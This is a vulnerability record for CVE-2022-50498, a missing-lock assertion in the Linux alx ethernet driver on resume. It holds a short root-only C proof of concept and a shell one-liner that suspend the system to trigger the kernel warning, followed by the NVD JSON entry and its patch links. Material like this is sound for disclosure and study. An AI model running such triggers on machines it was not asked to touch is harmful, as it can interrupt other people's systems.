CVE-2022-50498

// PoC: Trigger CVE-2022-50498 by suspending and resuming the system // This will cause RTNL assertion failure in alx driver during resume // Requires: System with alx ethernet driver loaded #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd; const char *state = "mem"; // Suspend to RAM // Check if running as root (required for suspend) if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } // Open the power state file fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("Failed to open /sys/power/state"); return 1; } printf("Triggering system suspend...\n"); printf("System will resume shortly, check dmesg for RTNL assertion failure\n"); // Write to power state file to trigger suspend if (write(fd, state, strlen(state)) != strlen(state)) { perror("Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("System resumed. Check kernel logs (dmesg) for:\n"); printf(" RTNL: assertion failed at net/core/dev.c (2891)\n"); printf(" RIP: netif_set_real_num_tx_queues+0x1ac/0x1c0\n"); return 0; } // Alternative: Manual trigger via shell // $ sudo bash -c 'echo mem > /sys/power/state' // After resume, check dmesg for the assertion failure // Expected output in vulnerable kernel: // RTNL: assertion failed at net/core/dev.c (2891) // Call Trace: // __alx_open+0x230/0x570 [alx] // alx_resume+0x54/0x80 [alx] // dpm_run_callback+0x4a/0x150 // device_resume+0x8b/0x190

{"cve": {"id": "CVE-2022-50498", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:46.907", "lastModified": "2026-01-22T19:57:24.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\neth: alx: take rtnl_lock on resume\n\nZbynek reports that alx trips an rtnl assertion on resume:\n\n RTNL: assertion failed at net/core/dev.c (2891)\n RIP: 0010:netif_set_real_num_tx_queues+0x1ac/0x1c0\n Call Trace:\n <TASK>\n __alx_open+0x230/0x570 [alx]\n alx_resume+0x54/0x80 [alx]\n ? pci_legacy_resume+0x80/0x80\n dpm_run_callback+0x4a/0x150\n device_resume+0x8b/0x190\n async_resume+0x19/0x30\n async_run_entry_fn+0x30/0x130\n process_one_work+0x1e5/0x3b0\n\nindeed the driver does not hold rtnl_lock during its internal close\nand re-open functions during suspend/resume. Note that this is not\na huge bug as the driver implements its own locking, and does not\nimplement changing the number of queues, but we need to silence\nthe splat."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "5.15.75", "matchCriteriaId": "056C04EC-43AC-4504-8293-443D00349A66"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "5.19.17", "matchCriteriaId": "19B4C3A4-E5C3-41DC-BB14-BE72858E7D35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "5BCD8201-B847-4442-B894-70D430128DEF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6ad1c94e1e7e374d88f0cfd77936dddb8339aaba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f1991a940b90753b34570f093a21dba366e8cc0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a845a0c4bdece2c0073ecea2fca7c4d5f0550f78", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c0323c0fd07804d5874699e93f935cda0d989c67", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}